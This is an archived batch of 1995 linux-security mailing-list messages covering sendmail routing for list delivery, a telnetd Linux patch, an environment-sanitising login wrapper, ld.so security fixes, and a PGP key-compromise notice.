X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- In an effort to improve the delivery time for messages to the Linux security lists (which have grown quite large and are now taking hours for one system to deliver), I'm now setting up sendmail.cf rules to attempt to distribute the final SMTP delivery of list messages among different systems, based on destination domains. This message is an initial test of the concept, with the following small rule-set additions in place: # Bump off to our friends. R$*<@$+.us>$* $#esmtp [email protected] $:$1<@$2.us>$3 R$*<@$+.net>$* $#esmtp [email protected] $:$1<@$2.net>$3 R$*<@$+.nl>$* $#esmtp [email protected] $:$1<@$2.nl>$3 (This is being attempted after suggestions/ideas from Roger Wolff and Alex Yuriev .) If this appears to work decently and helps improve delivery times, I'd appreciate volunteers to act as hubs for both top-level domains and for non-top-level domains that have a significant number of subscribers. (I'll post this request when I'm ready to set things up--hopefully within a few days--along with a current top-level domain breakdown of the lists' propagation.) No administrative work should be required at the volunteer sites--you'd just be volunteering the use of your sendmail daemon and some CPU cycles. (I'd prefer to restrict the volunteer pool to systems running v8 sendmail, at least initially, since that's the one that I understand the best myself and could most easily help solve any problems for.) If there's a sendmail guru out there that thinks this is a scheme doomed to failure, or that notices problems with my rule-sets, please drop me e-mail and let me know. :)~ - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMKPaDLxzFUpUTHgFAQEC9QP8DFBqJucom+WPfhhDZdpCy0ND7KyxPdRY R1KKHvLBBNH4Yj0S5J2uP7QvQlRQ1PRFXCL2pQwZoATD4CQ+HWwtjfp+lgZUieOv 2FNtnivnO9117dFdNngMTjJxjXJoJjFfUCLY/l5c3Lb34MGMpqo9e6rpfj3MfOfz D0eiMDUkhc8= =iXQW -----END PGP SIGNATURE----- From [email protected] Fri Nov 10 18:31:16 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA28354; Fri, 10 Nov 1995 18:31:16 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA28271; Fri, 10 Nov 1995 18:30:00 -0500 Date: Fri, 10 Nov 1995 18:30:00 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: Administrative changes, notes. X-Spook: NORAD FBI unmarked bills X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- In an effort to improve the delivery time for messages to the Linux security lists (which have grown quite large and are now taking hours for one system to deliver), I'm now setting up sendmail.cf rules to attempt to distribute the final SMTP delivery of list messages among different systems, based on destination domains. This message is an initial test of the concept, with the following small rule-set additions in place: # Bump off to our friends. R$*<@$+.us.>$* $#esmtp [email protected] $:$1<@$2.us.>$3 R$*<@$+.net.>$* $#esmtp [email protected] $:$1<@$2.net.>$3 R$*<@$+.nl.>$* $#esmtp [email protected] $:$1<@$2.nl.>$3 (This is being attempted after suggestions/ideas from Roger Wolff and Alex Yuriev .) If this appears to work decently and helps improve delivery times, I'd appreciate volunteers to act as hubs for both top-level domains and for non-top-level domains that have a significant number of subscribers. (I'll post this request when I'm ready to set things up--hopefully within a few days--along with a current top-level domain breakdown of the lists' propagation.) No administrative work should be required at the volunteer sites--you'd just be volunteering the use of your sendmail daemon and some CPU cycles. (I'd prefer to restrict the volunteer pool to systems running v8 sendmail, at least initially, since that's the one that I understand the best myself and could most easily help solve any problems for.) If there's a sendmail guru out there that thinks this is a scheme doomed to failure, or that notices problems with my rule-sets, please drop me e-mail and let me know. :)~ - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMKPgcLxzFUpUTHgFAQEtNgP7By9l8fA5uGt89HOvk8lg5b4xX90/L9G7 a779e8xeBhF6KDcuP/MZ0EAVpzVr5jsfACTYAD/UaudqdtpulpQGgvERuigTDwTh ogdyXbbhLvpRyIhV9CROD48docCzixPNI92D6j/+m3lyqZNWyBw106JpeyhykEWP 20ipYnOidGo= =lQQl -----END PGP SIGNATURE----- linux-security/1995/linux-security.951111100664 1767 1767 36430 6051064052 17247 0ustar majdommajdomFrom [email protected] Sat Nov 11 00:56:49 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id AAA30547; Sat, 11 Nov 1995 00:56:49 -0500 Received: from dhp.com (dhp.com [199.245.105.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id AAA30522; Sat, 11 Nov 1995 00:52:10 -0500 Received: (from panzer@localhost) by dhp.com (8.7.1/8.6.12) id AAA14227; Sat, 11 Nov 1995 00:52:07 -0500 To: [email protected] Path: news.dhp.com!not-for-mail From: [email protected] (Matt 'Panzer Boy') Newsgroups: mail.linux-security Subject: telnetd.95.10.23.patch Date: 11 Nov 1995 00:52:06 -0500 Organization: DataHaven Project +1 412 421 4516 Lines: 149 Message-ID: <[email protected]> X-Newsreader: TIN [version 1.2 PL2+color] Sender: [email protected] Precedence: list I patched the telnetd from cray to build properly on linux systems. If people are interested in the latest version of telnet, as opposed to the one in the netkit. This is the version that is mentioned as being fixed in the CERT advisory. You can get the original telnet/telnetd from: ftp://ftp.cray.com/src/telnet/telnet.95.10.23.NE.tar.Z My patch is for the "telnet.95.10.23.tar.Z" package, but is the same for the NE version also, just rename the directory to "telnet.95.10.23" and run patch -p0 #include #endif +#ifndef LINUX #include +#endif #ifdef t_erase #undef t_erase #undef t_kill diff -u --recursive telnet.95.10.23.orig/telnetd/utility.c telnet.95.10.23/telnetd/utility.c --- telnet.95.10.23.orig/telnetd/utility.c Mon Oct 23 10:47:18 1995 +++ telnet.95.10.23/telnetd/utility.c Fri Nov 3 15:57:02 1995 @@ -37,6 +37,9 @@ #define PRINTOPTIONS #include "telnetd.h" +#ifdef LINUX +# include +#endif /* * utility functions performing io related tasks @@ -445,6 +448,9 @@ register char *cp; char *where; { +#ifdef LINUX + struct utsname utsname; +#endif char *slash; time_t t; char db[100]; @@ -485,6 +491,22 @@ (void)strftime(db, sizeof(db), fmtstr, localtime(&t)); putstr(db); break; +#ifdef LINUX + case 's': + (void) uname(&utsname); + putstr(utsname.sysname); + break; + + case 'r': + (void) uname(&utsname); + putstr(utsname.release); + break; + + case 'v': + (void) uname(&utsname); + putstr(utsname.version); + break; +#endif case '%': putchr('%'); ----------------------------Cut Here------------------------------------ -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." From [email protected] Sat Nov 11 01:09:31 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id BAA30803; Sat, 11 Nov 1995 01:09:30 -0500 Received: from dhp.com (dhp.com [199.245.105.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id AAA30522; Sat, 11 Nov 1995 00:52:10 -0500 Received: (from panzer@localhost) by dhp.com (8.7.1/8.6.12) id AAA14227; Sat, 11 Nov 1995 00:52:07 -0500 To: [email protected] Path: news.dhp.com!not-for-mail From: [email protected] (Matt 'Panzer Boy') Newsgroups: mail.linux-security Subject: telnetd.95.10.23.patch Date: 11 Nov 1995 00:52:06 -0500 Organization: DataHaven Project +1 412 421 4516 Lines: 149 Message-ID: <[email protected]> X-Newsreader: TIN [version 1.2 PL2+color] Sender: [email protected] Precedence: list I patched the telnetd from cray to build properly on linux systems. If people are interested in the latest version of telnet, as opposed to the one in the netkit. This is the version that is mentioned as being fixed in the CERT advisory. You can get the original telnet/telnetd from: ftp://ftp.cray.com/src/telnet/telnet.95.10.23.NE.tar.Z My patch is for the "telnet.95.10.23.tar.Z" package, but is the same for the NE version also, just rename the directory to "telnet.95.10.23" and run patch -p0 #include #endif +#ifndef LINUX #include +#endif #ifdef t_erase #undef t_erase #undef t_kill diff -u --recursive telnet.95.10.23.orig/telnetd/utility.c telnet.95.10.23/telnetd/utility.c --- telnet.95.10.23.orig/telnetd/utility.c Mon Oct 23 10:47:18 1995 +++ telnet.95.10.23/telnetd/utility.c Fri Nov 3 15:57:02 1995 @@ -37,6 +37,9 @@ #define PRINTOPTIONS #include "telnetd.h" +#ifdef LINUX +# include +#endif /* * utility functions performing io related tasks @@ -445,6 +448,9 @@ register char *cp; char *where; { +#ifdef LINUX + struct utsname utsname; +#endif char *slash; time_t t; char db[100]; @@ -485,6 +491,22 @@ (void)strftime(db, sizeof(db), fmtstr, localtime(&t)); putstr(db); break; +#ifdef LINUX + case 's': + (void) uname(&utsname); + putstr(utsname.sysname); + break; + + case 'r': + (void) uname(&utsname); + putstr(utsname.release); + break; + + case 'v': + (void) uname(&utsname); + putstr(utsname.version); + break; +#endif case '%': putchr('%'); ----------------------------Cut Here------------------------------------ -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." From [email protected] Sat Nov 11 04:08:53 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id EAA32363; Sat, 11 Nov 1995 04:08:53 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id EAA32321; Sat, 11 Nov 1995 04:05:41 -0500 Date: Sat, 11 Nov 1995 04:05:41 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: One last (hopefully!) administrative note. X-Quote-I-Like: "If you want to see useful Perl examples, we can certainly arrange to have comp.lang.misc flooded with them, but I don't think that would help the advance of civilization." --Larry Wall. X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list I am now routing the security lists' traffic for several domains through "regional exploders." This should improve delivery time somewhat; I can already see the queues here clearing more quickly, thanks to the CPU cycles donated by Roger Wolff (in The Netherlands) Alex Yuriev (in Philadelphia, Pennsylvania, USA) and Matti Aarnio (in Finland). Alex's system is sharing the delivery of U.S. sites with the NRAO systems, Roger's is handling The Netherlands, and Matti's is now the hub for the Scandinavian countries, the Baltic states, Poland, and Russia. If anyone would like to volunteer their system for forwarding to the following regions, it would be much appreciated. I am breaking things down into groups by region, taking into account the number of subscribers in each general region. Germany (lots of subscribers) U.K./British Isles (lots here too) Canada Australia/New Zealand France Italy South Africa/Mozambique Spain/Portugal Central Europe (e.g. Austria, Hungary, Switzerland, Czech Republic, Slovakia) Balkan/Southeastern Europe region (e.g. Romania, the former Yugoslav republics, Ukraine, Armenia, Greece) The Middle East (e.g. Israel, Turkey) South America (the continent) Eastern and Southeastern Asia (e.g. Japan, Korea, Taiwan, Thailand, Hong Kong, Singapore) (Regional hubs don't necessarily need to cover all countries listed for a region. There are also many countries that I left out, some of which there is no reason to set up a hub for due to low subscribership.) If you have both a decently fast link to the U.S. and good connectivity within your region (i.e. sane network routes within your own country and to neighboring ones, without going by way of Antarctica and the like), as well as a relatively fast, stable system (that is always up), all you have to do is tell me it's available--no changes should need be made to your system at all if you run sendmail or something similar; I just add a rule to my sendmail.cf file here that says: R$*<@$+.domain.>$* $#esmtp [email protected] $:$1<@$2.domain.>$3 and the new "exploder" is in action. It's doubtful that the exploder system(s) will even notice the change. Thanks! --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ linux-security/1995/linux-security.951112100664 1767 1767 11770 6051463112 17250 0ustar majdommajdomFrom [email protected] Sun Nov 12 16:25:23 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id QAA07395; Sun, 12 Nov 1995 16:25:23 -0500 Received: from jcowan.reslife.okstate.edu ([email protected] [139.78.232.29]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id DAA23760; Fri, 10 Nov 1995 03:41:16 -0500 Received: (from jcowan@localhost) by jcowan.reslife.okstate.edu (8.7/8.7) id CAA15506; Fri, 10 Nov 1995 02:39:43 -0600 Date: Fri, 10 Nov 1995 02:39:43 -0600 Message-Id: <[email protected]> From: Joshua Cowan X-Spook: assassination Qaddafi counter-intelligence jihad explosion X-Spook: Saddam Hussein X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: JC To: Marek Michalkiewicz Cc: [email protected] Subject: Re: Another possible problem with ld.so? In-Reply-To: <[email protected]> References: <[email protected]> Win-95: flawed beyond belief. Sender: [email protected] Precedence: list [Mod: The author is looking for opinions/criticisms from the list before he does anything more with this code. Please direct all responses to the post's author--not to the list. (Joshua can summarize any criticisms that he receives and post them to the list in the future, if he feels that they are worth distributing.) I have not reviewed this code for functionality myself; I've only looked over the concept of what it's doing and figured that I'd forward it on. --Jeff.] >>>>> "MM" == Marek Michalkiewicz writes: MM> Now, let's say this is a setuid root wrapper program which MM> executes some command as root after doing setuid(0). If MM> LD_LIBRARY_PATH was defined twice in the environment, it will MM> still be defined (only one string has been removed) and passed As far as wrappers go, this should fix the above problem. It implements the suggestion by Peter Da Silva. Yes, it is rather presumptuous/restrictive about what it lets into the environment, but it is easy to allow other environment variables to pass if need be. -- Joshua Cowan __| I don't want to listen http://hermit.reslife.okstate.edu/~jcowan | but it's all too clear... Computer Engineering Student -- Oklahoma State University -- Stillwater, OK PGP key available from any PGP keyserver or by fingering the above address. /* This is a login wrapper that removes all instances of various variables from the environment. Original author: Lawrence R. Rogers This is a modified version and is only partially based on the work of the original author; Lawrence R. Rogers is not responsible for this version. NOTE: THIS PROGRAM MUST BE COMPILED STATICALLY TO BE EFFECTIVE AGAINST EXPLOITATION. For example: gcc -static -o login FILENAME Where FILENAME is the name of the file to which you saved this. To install this wrapper, first move `/bin/login' or `/usr/bin/login' (make sure it is the one that telnetd (8) executes) to `/bin/login.real' or whatever you defined _PATH_LOGIN_REAL to be. Then replace the original with the executable generated by compiling this file (again, make sure that this executable is statically linked or it will be ineffective). */ #include #include #include #include #ifndef SYSLOG_FACILITY #define SYSLOG_FACILITY LOG_AUTHPRIV #endif /* SYSLOG_FACILITY */ #ifndef SYSLOG_LEVEL #define SYSLOG_LEVEL LOG_ALERT #endif /* SYSLOG_LEVEL */ #ifndef _PATH_LOGIN_REAL #define _PATH_LOGIN_REAL "/bin/login.real" #endif /* _PATH_LOGIN_REAL */ /* This should be a list of environment strings that we want to allow users to pass to login (1) (and possibly to the shell). These will be matched using strncmp (3). This list should really only contain the names of environment variables that control display parameters, as any others should be able to wait until the shell's rc files (e.g., `.login', `.profile', `/etc/profile', etc.,) are executed. */ static const char *legal_env_strings[] = { "DISPLAY=", "TERM=", 0 }; int main (argc, argv, envp) int argc; char **argv, **envp; { char **p1, **p2; int i; openlog (argv[0], LOG_PID, SYSLOG_FACILITY); for (p1 = p2 = envp; *p1; p1++) { int found = 0; /* Traverse the list of legal environment strings. If we have a match, pass it in envp; otherwise, send a warning to the system logger. */ for (i = 0; legal_env_strings[i] && !found; i++) { if (!strncmp (*p1, legal_env_strings[i], strlen (legal_env_strings[i]))) found = 1; } if (found) { *p2++ = *p1; } else { syslog (SYSLOG_LEVEL, "illegal environment string: `%s'\n", *p1); } } *p2 = 0; closelog (); execve (_PATH_LOGIN_REAL, argv, envp); perror (_PATH_LOGIN_REAL); exit (1); } linux-security/1995/linux-security.951113100664 1767 1767 2753 6051705350 17235 0ustar majdommajdomFrom [email protected] Mon Nov 13 13:13:57 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA12672; Mon, 13 Nov 1995 13:13:56 -0500 Received: from localhost (sudial-117.syr.EDU [128.230.1.117]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id JAA11532; Mon, 13 Nov 1995 09:08:53 -0500 Received: from mailbox.syr.edu (localhost [127.0.0.1]) by localhost (8.6.12/8.6.9) with ESMTP id KAA19659 for ; Mon, 13 Nov 1995 10:06:11 -0500 Message-Id: <199511131506.KAA19659@localhost> To: [email protected] Subject: telnetd/ld.so security hole. Date: Mon, 13 Nov 1995 10:06:10 -0500 From: Christopher Blizzard Sender: [email protected] Precedence: list For those of you that this was a concern for, here is an excerpt from the README for ld.so 1.7.10: Changes in version 1.7.6: Fixed a bug in ld-linux.so dealing with a zero-length LD_{ELF_}PRELOAD. Changed ld.so and ld-linux.so to truncate all variations of LD_PRELOAD and LD_LIBRARY_PATH for set[ug]id programs. -------- ------------------------------------------------------------------------- Christopher Blizzard | "The truth knocks on the door and you say [email protected]| 'Go away. I'm looking for the truth,' and | so it goes away." --Robert Pirsig ------------------------------------------------------------------------- linux-security/1995/linux-security.951114100664 1767 1767 3267 6052205522 17234 0ustar majdommajdomFrom [email protected] Tue Nov 14 16:34:06 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id QAA19764; Tue, 14 Nov 1995 16:34:06 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id QAA19747; Tue, 14 Nov 1995 16:33:38 -0500 Date: Tue, 14 Nov 1995 16:33:38 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: Mail routing (admin). X-Zippy: .. I see TOILET SEATS... X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- OK, the major mail-routing changes are done for the lists; delivery time seems to have improved quite a bit. I've got several hubs in various regions going now for distribution, though I could still use hubs in: Canada Australia France Italy South Africa Spain (That's just a "top six" list...) Many thanks to all who volunteered (both hubs and sendmail.cf suggestions). I may be implementing a "mailertable" method, vice raw sendmail.cf routes, in the future, depending upon a couple of factors. - --Up. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMKkLH7xzFUpUTHgFAQEsmAQAjKFEpn+e/rbXk++jm5etwnOxRcyxbXx/ 9sA9pz+aT57heRqJ4/R3oT17XurXfaKe/CT573mgqHFzzUd6jaAZ7pmocSfwHebD Hf4RwGAyEQAkIBsT/fLK5rOrJhKgynAJFSibyZHCPQeCt96nDVblE1B1naDDbYYr 3iEFecqHw98= =KfIb -----END PGP SIGNATURE----- -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ linux-security/1995/linux-security.951116100664 1767 1767 4535 6052773515 17251 0ustar majdommajdomFrom [email protected] Thu Nov 16 21:45:29 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id VAA07868; Thu, 16 Nov 1995 21:45:28 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id VAA07675; Thu, 16 Nov 1995 21:11:30 -0500 Resent-Date: Thu, 16 Nov 1995 21:11:30 -0500 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected] Message-Id: From: [email protected] (David Engel) X-Originally-To: [email protected] Subject: New ld.so package available (fwd) Date: Wed, 15 Nov 1995 14:17:44 -0600 (CST) X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 Sender: [email protected] Precedence: list Apparently-To: [email protected] [Mod: Forwarded to me by Christopher Blizzard . Headers munged somewhat to reflect true origin. This should hopefully answer, and help reduce the number of, the "What's the most recent ld.so version, and where can I get it?" e-mails that I've been receiving. --Jeff] ------- Forwarded Message A new ld.so package has been uploaded to ftp.debian.org and should be available soon. Changes in version 1.7.11: Changed ld.so and ld-linux.so to delete all variations of LD_PRELOAD and LD_LIBRARY_PATH for set[ug]id programs, This makes it harder for broken set[ug]id programs to be compromised. Fixed a problem in libdl.so where dlsym would not accept the handle returned from dlopen(0, *). fd65bba600da2a20bcb4f707e69c85da ld.so-1.7.11-1.deb 5bce5d68d1c7df1c30b87024d3123209 ld.so-1.7.11-1.tar.gz - -rw-r--r-- 1 david david 129859 Nov 14 22:02 ld.so-1.7.11-1.deb - -rw-r--r-- 1 david david 84246 Nov 14 22:03 ld.so-1.7.11-1.tar.gz David - -- David Engel Optical Data Systems, Inc. [email protected] 1101 E. Arapaho Road (214) 234-6400 Richardson, TX 75081 ------- End of Forwarded Message [Mod: There are now also copies in linux.nrao.edu:/pub/security/ld.so/debian. The "basic" distribution, retrieved from ftp.ods.com:/pub/linux, is in linux.nrao.edu:/pub/security/ld.so. The ftp.ods.com tarfile includes binaries, though I don't have an MD5 checksum for it on hand... --Jeff] linux-security/1995/linux-security.951202100664 1767 1767 24026 6060143435 17251 0ustar majdommajdomFrom [email protected] Sat Dec 2 16:36:27 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id QAA01288; Sat, 2 Dec 1995 16:36:27 -0500 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id OAA04197; Thu, 30 Nov 1995 14:42:52 -0500 Received: from dfw.net (dfw.net [198.175.15.10]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with ESMTP id OAA15365 for ; Thu, 30 Nov 1995 14:42:50 -0500 (EST) Received: by dfw.net (8.7.1/SMI-4.1) id NAA07184; Thu, 30 Nov 1995 13:38:43 -0600 (CST) Date: Thu, 30 Nov 1995 13:38:43 -0600 (CST) From: Aleph One To: [email protected] Subject: CERT and wu-ftpd advisory Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list My god. This is so discusting. CERT has just released and advisory on the wu-ftpd vulnerability that was discussed here.. what? 6 months ago? I mean with a problem some simple, that has been discussed to death is takes them 6 months to responde? I wonder who long it takes for an undisclosed complex security bug to have an advisory... prob like a year and a half. Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 From [email protected] Sat Dec 2 16:37:29 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id QAA01302; Sat, 2 Dec 1995 16:37:29 -0500 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id VAA01758; Wed, 29 Nov 1995 21:57:10 -0500 Received: from bach.cis.temple.edu ([email protected] [155.247.182.2]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with ESMTP id VAA05959; Wed, 29 Nov 1995 21:57:09 -0500 (EST) Received: from bach.cis.temple.edu (localhost [127.0.0.1]) by bach.cis.temple.edu (8.7.1/8.7.1) with SMTP id VAA11148; Wed, 29 Nov 1995 21:56:33 -0500 Date: Wed, 29 Nov 1995 21:56:32 -0500 (EST) From: "Alexander O. Yuriev" To: Jeff Uphoff cc: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], Linux Announce Submit , big-linux-mailing-list , Vladimir , Russ DeFlavia , Matt Bishop , Linux Security Mailing List , [email protected], Marc Ewing , Ron Holt , Roman Gollent , [email protected] Subject: EMERGENCY LINUX SECURITY FAQ UPDATE: PGP KEY COMPROMISE In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- ONE OF LINUX SECURITY FAQ PGP KEYS HAD BEEN COMPROMISED. EMERGENCY LINUX SECURITY FAQ UPDATE 22:13:07 EST Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/pub/linux/linux-security ============================================================================= Jeff Uphoff , co-moderator of linux-security and linux-alert mailing lists had issued a key revocation certificate for the the PGP key pub 1024/544C7805 1994/07/17 which could be used to sign Linux Security FAQ Updates or other security related information. From Nov 29, 1995 21:22:07 EST everything signed or encrypted using this key is considered to be compromised. Please notify Alexander O. Yuriev , Olaf Kirch using PGP encrypted email if you receive compromised information. The PGP public keys of people involved in Linux security will be available from the following URL: ftp://bach.cis.temple.edu/pub/Linux/Security/PGP-KEYS.pgp When Jeff Uphoff's new key will be available, it will be added to the the PGP-KEYS.pgp. Please avoid emailing sensitive information to Jeff Uphoff in the non-encrypted form. As the result of the attack NRAO is not directly connected to Internet. We are working on creating an emergency replacement archive for linux-security and linux-alert mailing lists, as well as a backup system to handle the mailing list while NRAO is being cleaned. The following is the extract from message sent by Jeff Uphoff: **************************************************************************** - From [email protected] Nov 29 21:06:25 1995 Date: Wed, 29 Nov 1995 20:47:01 -0500 From: Jeff Uphoff To: alex%[email protected] Subject: PGP key compromise. [I'm sending this to the people on my key-ring, i.e. those with which I occasionally or frequently exchange PGP encrypted e-mail.] Both my PGP key-ring (possible) and my pass-phrase (definite) have been compromised. Attached to this message is a key-revocation certificate. Please pass it on to as many people as you can think of that might have my current key. I cannot sign this message with a recognizable key now, but the block speaks for itself once you feed it through PGP. Robert Millner can verify the compromise by telephone at 540-961-4321, as can I at 804-296-0208. Details of the compromise will be released later to those interested parties that have not been following this particular series of events. (The U.S. FBI is now involved.) NRAO headquarters is no longer interactively reachable from the Internet, though we are exchanging e-mail as long as we can safely maintain the link. - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 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 aW51eC5vcmc+ 